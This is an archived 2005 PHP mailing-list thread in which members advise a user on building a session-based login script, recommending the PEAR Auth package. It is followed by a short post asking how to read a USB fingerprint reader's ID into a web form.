> > Hey,
> >I need a particular type log in script. I'm not sure how to do it or
> > where I could find a tutorial that would help me, so I'll describe what I 
> > need
> > and then maybe someone could tell me what kind of script I need (sessions or
> > whatever) and where I could get the script/learn how to make it.
> >I need a pretty basic log in script. Something that people log in to,
> > and the page and all linked/related pages cannot be accessed unless the 
> > person
> > has logged in.
> >So what do I need for this? Cookies, sessions both? And where can I
> > learn how?
> >
> > -Andrew
> 
> I use the pear auth package and like it alot.  I know I did some
> modification for our purposes but I suspect it works out of the box.
> 
> All you do is include auth.php on all pages you want to protect and it
> will direct you to a login page if you have not logged in.  Pretty cool
> stuff.
> 
> http://pear.php.net/package/Auth
> HTH
> 
> Bret
> 
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Log-in script help

2005-01-26 Thread Joe Harman
Tom,

That's a great tip!

Joe


On Wed, 26 Jan 2005 10:03:31 +, Tom <[EMAIL PROTECTED]> wrote:
> Joe Harman wrote:
> 
> >Hey Andrew...
> >
> >IN MY OPINION... forget the cookies... only use php sessions... but
> >like I said IMO you can never rely on the end user having them
> >cookies enabled... same with things like javascript...
> >
> >let me outline some steps for you... everyone else... feel free to
> >state pros and cons to theses.. cause i always make mistakes, or
> >forget things :o)
> >
> >1. get the user's access info... ie username & password
> >
> >2. look for the user in the database that stores the access infro
> >
> >3. if access is granted, I usually set 2 session variables
> >  a. $_SESSION['auth'] = TRUE  // They are authorized
> >  b. $_SESSION['user_id'] = {who}  // Who is it
> >  a. $_SESSION['user_level'] = {level} // What level access do
> >they have (optional)
> >
> >4. at the beginning of each restricted access page, verify that they
> >are authorized to access that page... if they are not redirect them to
> >a access denied page.
> >
> >
> >that should get you started... maybe the second step would be to make
> >this stuff into functions... ... also, IMO.. it's a good idea to make
> >a logout script that will distroy that user's active session...
> >
> my turn for an IMO :) - my preference is to have a check on the function
> that writes the $_SESSION vars or the cookie (I generally use encrypted
> cookies which are in turn restricted to certain areas of the site). This
> check is on the referer - if it's not from a foreign URL, then write
> them new as if the user is non auth. This stops people on public
> machines from hitting a back button and being authenticated as the
> previous user.
> Tom
> 
> > not
> >sure what your PHP experience is... but hopefully the above steps will
> >help you out some..
> >
> >Cheers!
> >Joe
> >
> >
> >
> >
> >
> >On 25 Jan 2005 17:35:08 -0600, Bret Hughes <[EMAIL PROTECTED]> wrote:
> >
> >
> >>On Tue, 2005-01-25 at 16:45, [EMAIL PROTECTED] wrote:
> >>
> >>
> >>>Hey,
> >>>   I need a particular type log in script. I'm not sure how to do it or
> >>>where I could find a tutorial that would help me, so I'll describe what I 
> >>>need
> >>>and then maybe someone could tell me what kind of script I need (sessions 
> >>>or
> >>>whatever) and where I could get the script/learn how to make it.
> >>>   I need a pretty basic log in script. Something that people log in 
> >>> to,
> >>>and the page and all linked/related pages cannot be accessed unless the 
> >>>person
> >>>has logged in.
> >>>   So what do I need for this? Cookies, sessions both? And where can I
> >>>learn how?
> >>>
> >>>-Andrew
> >>>
> >>>
> >>I use the pear auth package and like it alot.  I know I did some
> >>modification for our purposes but I suspect it works out of the box.
> >>
> >>All you do is include auth.php on all pages you want to protect and it
> >>will direct you to a login page if you have not logged in.  Pretty cool
> >>stuff.
> >>
> >>http://pear.php.net/package/Auth
> >>HTH
> >>
> >>Bret
> >>
> >>--
> >>PHP General Mailing List (http://www.php.net/)
> >>To unsubscribe, visit: http://www.php.net/unsub.php
> >>
> >>
> >>
> >>
> >
> >
> >
> 
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PHP and USB Devices

2005-05-31 Thread Joe Harman
Has anyone out there found a way to get information from a USB device
running on their computer... what i am trying to do is retrive the
fingerprint ID that the Microsoft USB fingerprint reader returns for a
finger print and put it in a webpage form???

There has to be a way to do it...

-- 
Joe Harman
-
Do not go where the path may lead, go instead where there is no path
and leave a trail. - Ralph Waldo Emerson

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



  1   2   >